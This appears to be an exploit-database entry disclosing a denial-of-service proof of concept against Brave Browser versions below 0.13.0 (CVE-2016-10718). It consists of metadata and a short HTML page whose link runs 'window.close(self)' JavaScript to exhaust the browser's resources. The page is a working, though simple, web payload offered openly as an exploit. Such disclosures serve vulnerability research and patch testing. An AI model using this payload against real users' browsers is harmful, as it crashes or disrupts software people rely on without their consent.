Brave Browser < 0.13.0 - 'window.close(self)' Denial of Service

Author: Sahil Tikoo
type: dos
platform: windows
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date_added: 2018-04-17 
date_updated: 2018-04-17 
verified: 0 
codes: CVE-2016-10718 
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# Exploit Title:Brave Browser < 0.13.0 Denial of Service (resource consumption) via a window.close(self) js code.
# Date: 2017-10-16
# Exploit Author: Sahil Tikoo
# Vendor Homepage: https://brave.com
# Software Link: https://github.com/brave/browser-laptop
# Version: 0.12.5
# Tested on: Kali Linux,Ubuntu ,Windows OS
# CVE : CVE-2016-10718

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<title>Brave Window Object Remote Denial of Service.</title>
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<h1><center>Brave Window Object Remote Denial of Service</center></h1><br><br>
<h2><center>Proof of Concept</center></br></br> </h2>

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<b>Click the below link to Trigger the Vulnerability..</b><br><br>
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<b><center><a href="javascript:window.close(self);">Brave Window Object DoS Test POC</a></center>

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